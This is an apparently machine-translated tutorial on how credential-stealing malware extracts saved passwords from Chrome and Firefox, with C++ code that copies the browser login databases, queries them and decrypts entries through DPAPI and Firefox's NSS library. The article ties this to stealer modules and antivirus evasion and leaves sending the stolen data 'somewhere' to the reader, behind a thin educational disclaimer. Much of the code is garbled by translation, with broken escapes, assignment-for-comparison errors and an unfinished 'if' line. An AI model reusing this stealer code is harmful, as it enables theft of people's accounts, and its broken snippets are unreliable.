How to get Chrome and Firefox passwords with your own hands



You must have heard about such a class of malicious applications, such as stilery. 
Their task is to extract valuable data from the victim's system, first of all - passwords. In this article I will tell you exactly how they do it, using the example of extracting passwords from the Chrome and Firefox browsers and showing code examples in C ++.
All the code in the article is provided solely for educational purposes and to restore your own lost passwords. The abduction of someone else's credentials or other personal data without proper written agreement is punishable by law.
So, browsers based on Chrome or Firefox store user logins and passwords in encrypted form in the SQLite database. This DBMS is compact and distributed free of charge under a free license. Just like the browsers we are considering: all their code is open and well documented, which will surely help us.
In the example of the stealing module, which I will cite in the article, CRT and other third-party libraries and dependencies such as sqlite.h will be actively used. If you need a compact code without dependencies, you will have to rework it a bit, getting rid of some functions and setting up the compiler properly.

QWhat will the antivirus program?

When advertising their products, virus writers often draw the attention of potential buyers to the fact that at the moment their styler is not “burned” by the antivirus.
Here we must understand that all modern and more or less serious viruses and trojans have a modular structure, each module in which is responsible for something different: one module collects passwords, the second prevents debugging and emulation, the third determines the fact of working in a virtual machine, the fourth conducts obfuscation of WinAPI calls, the fifth one deals with the firewall built into the OS.
So, it’s possible to judge whether a certain method is “fired” or not by antivirus only if it is a question of a complete “combat” application, and not in a separate module.

CChrome

Let's start with Chrome. First, let's get a file where user accounts and passwords are stored. On Windows, it lies at this address:
C: \ Users \% username% \ AppData \ Local \ Google \ Chrome \ UserData \ Default \ Login Data
To make any manipulations with this file, you need to either kill all the processes of the browser, which will be evident, or copy the base file somewhere and after that start working with it.
Let's write a function that gets the path to the Chrome password database. As an argument, it will be passed an array of characters with the result of its work (that is, the array will contain the path to the Chrome password file).
#define CHROME_DB_PATH "\\ Google \\ Chrome \\ User Data \\ Default \\ Login Data"
bool get_browser_path (char * db_loc, int browser_family, const char * location) 
{memset (db_loc, 0, MAX_PATH); 
if (! SUCCEEDED (SHGetFolderPath (NULL, CSIDL_LOCAL_APPDATA, NULL, 0, db_loc))) { 
return 0; 
}
if (browser_family = 0) { 
lstrcat (db_loc, TEXT (location)); return 1; 
} 
}
Function call:
char browser_db [MAX_PATH]; 
get_browser_path (browser_db, 0, CHROME_DB_PATH); 
Let's briefly explain what's going on here. We immediately write this function, implying a future expansion. One of its arguments is the browser_family field, it will signal a family of browsers whose database we receive (that is, browsers based on Chrome or Firefox).
If the condition browser_family = 0 is met, then we get the browser database of passwords based on Chrome, if browser_family = 1 - Firefox. The CHROME_DB_PATH identifier points to the Chrome password database. Next, we get the path to the database using the SHGetFolderPath function, passing to it the CSIDL_LOCAL_APPDATA value as the CSIDL argument, which means:
#define CSIDL_LOCAL_APPDATA 0x001c // <local name> \ Local Settings \ Applicaiton Data (non roaming)
The SHGetFolderPath function is deprecated, and Microsoft recommends using SHGetKnownFolderPath instead. The problem is that support for this feature starts with Windows Vista, so I used its older equivalent to maintain backward compatibility. Here is its prototype:
HRESULT SHGetFolderPath ( 
HWND hwndOwner, 
int nFolder, 
HANDLE hToken, 
DWORD dwFlags, 
LPTSTR pszPath 
);
After that, the lstrcat function combines the result of the SHGetFolderPath with the identifier CHROME_DB_PATH.
The password database is received, now we start to work with it. As I said before, this is a SQLite database, it is convenient to work with it through the SQLite API, which are connected with the sqlite3.h header file. Let's copy the database file, so as not to occupy it and not interfere with the browser.
int status = CopyFile (browser_db, TEXT (". \ dbtmp"), FALSE); 
if (! status) { 
// return 0; 
}
Now we connect to the database with the sqlite3_open_v2 command. Its prototype is:
int sqlite3_open_v2 ( 
const char * filename, / * Database filename (UTF-8) * / 
sqlite3 ** ppDb, / * OUT: SQLite db handle * / 
int flags, / * Flags * / 
const char * zVfs / * Name of VFS module to use * / 
);
The first argument is our database; connection information is returned to the second argument, the opening flags go next, and the fourth argument defines the operating system interface that should use this connection to the database, in our case it is not needed. If this function runs correctly, the value of SQLITE_OK is returned, otherwise an error code is returned.
sqlite3 * sql_browser_db = NULL;
status = sqlite3_open_v2 (TEMP_DB_PATH, 
& sql_browser_db, 
SQLITE_OPEN_READONLY, 
NULL); 
if (status! = SQLITE_OK) { 
sqlite3_close (sql_browser_db); 
DeleteFile (TEXT (TEMP_DB_PATH));
Pay attention: in case of incorrect working off of the function, we still need to close the connection to the database by ourselves and delete its copy.
Now we begin to directly process the data in the database. To do this, we use the function sqlite3_exec ().
status = sqlite3_exec (sql_browser_db, 
"SELECT origin_url, username_value, password_value FROM logins", 
crack_chrome_db, 
sql_browser_db, 
& err); 
if (status! = SQLITE_OK) 
return 0; 
This function has the following prototype:
int sqlite3_exec ( 
sqlite3 *, / * an open database * / 
const char * sql, / * sql to be evaluated * / 
int (* callback) (void *, int, char **, char **), / * callback function * / 
void *, / * 1st argument to callback * / 
char ** errmsg / * Error msg written here * / 
);
The first argument is our password database, the second is the SQL command that pulls out the file URL, login, password and username, the third argument is the callback function that will decrypt the passwords, the fourth is passed to our callback function, but The fifth argument reports an error.
Let's take a closer look at the callback function that decrypts passwords. It will be applied to each row from a sample of our SELECT query. Its prototype is int (* callback) (void *, int, char **, char **), but we will not need all the arguments, although they must be declared. The function itself is called crack_chrome_db, we begin to write and declare the necessary variables:
int crack_chrome_db (void * db_in, int arg, char ** arg1, char ** arg2) {
DATA_BLOB data_decrypt, data_encrypt; 
sqlite3 * in_db = (sqlite3 *) db_in; 
BYTE * blob_data = NULL; 
sqlite3_blob * sql_blob = NULL;
char * passwds = NULL; 
while (sqlite3_blob_open (in_db, "main", "logins", "password_value", count ++, 0, & sql_blob)! = SQLITE_OK && count <= 20); 
In this loop, we form BLOBs (that is, a large array of binary data). Next, select the memory, read the blob and initialize the DATA_BLOB fields:
int sz_blob; 
int result;
sz_blob = sqlite3_blob_bytes (sql_blob); 
dt_blob = (BYTE *) malloc (sz_blob);
if (! dt_blob) { 
sqlite3_blob_close (sql_blob); 
sqlite3_close (in_db); 
}
data_encrypt.pbData = dt_blob; 
data_encrypt.cbData = sz_blob;
And now let's proceed directly to decryption. Chrome database is encrypted with the Data Protection Application Programming Interface (DPAPI) engine. The essence of this mechanism is that data can be decrypted only under the account under which they were encrypted. In other words, you can not steal the password database, and then decrypt it already on your computer. To decrypt data, we need the CryptUnprotectData function.
BOOL CryptUnprotectData DPAPI_IMP ( 
DATA_BLOB * pDataIn, 
LPWSTR * ppszDataDescr, 
DATA_BLOB * pOptionalEntropy, 
PVOID pvReserved, 
CRYPTPROTECT_PROMPTSTRUCT * pPromptStruct, 
a DWORD the dwFlags, 
DATA_BLOB pDataOut * 
);
if (! CryptUnprotectData (& data_encrypt, NULL, NULL, NULL, NULL, 0, 
& data_decrypt)) { 
free (dt_blob); 
sqlite3_blob_close (sql_blob); 
sqlite3_close (in_db); 
After that, select the memory and fill in the passwds array with the decrypted data.
passwds = (char *) malloc (data_decrypt.cbData + 1); 
memset (passwds, 0, data_decrypt.cbData);
int xi = 0; 
while (xi <data_decrypt.cbData) { 
passwds [xi] = (char) data_decrypt.pbData [xi]; 
++ xi; 
}
Actually, that's all! After that, passwds will contain user accounts and URLs. And what to do with this information - to display it on the screen or save it to a file and send it somewhere - you decide.

Ffirefox

Go to Firefox. It will be a little more difficult, but we can still do it! First, let's get the path to the password database. Remember, in our universal function get_browser_path we passed the parameter browser_family? In the case of Chrome, it was zero, and for Firefox we set it to 1.
bool get_browser_path (char * db_loc, int browser_family, const char * location) { 
... 
if (browser_family = 1) { 
memset (db_loc, 0, MAX_PATH); 
if (! SUCCEEDED (SHGetFolderPath (NULL, CSIDL_LOCAL_APPDATA, 
NULL, 0, db_loc))) { 
// return 0; 
In the case of Firefox, we will not be able, as in Chrome, to immediately specify the path to the user's folder. The fact is that the name of the user profile folder is generated randomly. But this is a rubbish barrier, because we know the beginning of the path (\\ Mozilla \\ Firefox \\ Profiles \\). It is enough to search for the “folder” object in it and check for the presence of the \\ logins.json file in it “. It is in this file that the login and password data that we are interested in is stored. Of course, in encrypted form. We implement all this in code.
lstrcat (db_loc, TEXT (location));
// Declare variables 
const char * profileName = ""; 
WIN32_FIND_DATA w_find_data; 
const char * db_path = db_loc;
// Create a mask for the search function FindFirstFile 
lstrcat ((LPSTR) db_path, TEXT ("*"));
// Browse, we are interested in an object with the attribute FILE_ATTRIBUTE_DIRECTORY 
HANDLE gotcha = FindFirstFile (db_path, & w_find_data);
while (FindNextFile (gotcha, & w_find_data)! = 0) { 
if (w_find_data.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY) { 
if (strlen (w_find_data.cFileName)> 2) { 
if ) 
} 
} 
} 
// Remove the asterisk :) 
db_loc [strlen (db_loc) - 1] = '\ 0';
lstrcat (db_loc, profileName);
// Finally, we get the path we need 
lstrcat (db_loc, "\\ logins.json");
return 1;
At the very end, the variable db_loc, which we passed as an argument to our function, contains the full path to the file logins.json, and the function returns 1, indicating that it worked correctly.
Now we will get the password file handle and allocate memory for the data. To get the handle, we use the CreateFile function, as advised by MSDN.
DWORD read_bytes = 8192; 
DWORD lp_read_bytes;
char * buffer = (char *) malloc (read_bytes); 
Db_file_login = CreateFileA HANDLE (original_db_location, 
GENERIC_READ, 
FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE, 
a NULL, OPEN_ALWAYS, 
FILE_ATTRIBUTE_NORMAL, 
a NULL);
ReadFile (db_file_login, buffer, read_bytes, & lp_read_bytes, NULL);
Everything is ready, but in the case of Firefox everything will not be as easy as with Chrome - we will not be able to simply retrieve the necessary data using a regular SELECT query, and encryption is not limited to a single WinAPI function.

NNetwork Security Services (NSS)

Firefox browser actively uses the functions of Network Security Services to implement encryption of its database. These functions are located in the dynamic library located at C: \ Program Files \ Mozilla Firefox \ nss3.dll.
All functions we are interested in we will have to get from this DLL. This can be done in the standard way, using LoadLibrary \ GetProcAdress. The code is monotonous and large, so I just give a list of functions that we need:
  • NSS_Init;
  • PL_Base64Decode;
  • PK11SDR_Decrypt;
  • PK11_Authenticate;
  • PK11_GetInternalKeySlot;
  • PK11_FreeSlot.
These are the functions of initializing the NSS mechanism and decrypting data. Let's write the decryption function, it is small. I will add comments to make everything clear.
char * data_uncrypt (std :: string pass_str) { 
// Declare variables 
SECItem crypt; 
SECItem decrypt; 
PK11SlotInfo * slot_info;
// Allocate memory for our data 
char * char_dest = (char *) malloc (8192); 
memset (char_dest, NULL, 8192); 
crypt.data = (unsigned char *) malloc (8192); 
crypt.len = 8192; 
memset (crypt.data, NULL, 8192);
// Directly decryption by NSS functions 
PL_Base64Decode (pass_str.c_str (), pass_str.size (), char_dest); 
memcpy (crypt.data, char_dest, 8192); 
slot_info = PK11_GetInternalKeySlot (); 
PK11_Authenticate (slot_info, TRUE, NULL); 
PK11SDR_Decrypt (& crypt, & decrypt, NULL); 
PK11_FreeSlot (slot_info);
// Allocate memory for decrypted data 
char * value = (char *) malloc (decrypt.len); 
value [decrypt.len] = 0; 
memcpy (value, decrypt.data, decrypt.len);
return value; 
}
Now it is necessary to parse the logins.json file and use our decryption function. For brevity, I will use regular expressions and their capabilities in C ++ 11 .
string decode_data = buffer;
// Define a regular sequence for sites, logins and passwords 
regex user ("\" encryptedUsername \ ": \" ([^ \ "] +) \" "); 
regex passw (" \ "encryptedPassword \": \ "([ ^ \ "] +) \" "); 
regex host ("\" hostname \ ": \" ([^ \ "] +) \" ");
// Declare a variable and iterator 
smatch smch; 
string :: const_iterator pars (decode_data.cbegin ());
// Parsing with regex_search, decrypting data with our data_uncrypt function 
// and displaying decrypted data 
do { 
printf ("Site \ t:% s", smch.str (1) .c_str ()); 
regex_search (pars, decode_data.cend (), smch, user); 
printf ("Login:% s", data_uncrypt (smch.str (1)));
regex_search (pars, decode_data.cend (), smch, passw); 
printf ("Pass:% s", data_uncrypt (smch.str (1)));
pars + = smch.position () + smch.length ();
} while (regex_search (pars, decode_data.cend (), smch, host)); 
Conclusion
We figured out how passwords are stored in different browsers, and learned what to do to extract them. Is it possible to protect against similar methods of recovering saved passwords? Yes of course. If you install a master password in your browser, it will act as a cryptographic salt for decrypting the password database. Without her knowledge, data recovery will be impossible.

Commentaires

You are welcome to share your ideas with us in comments!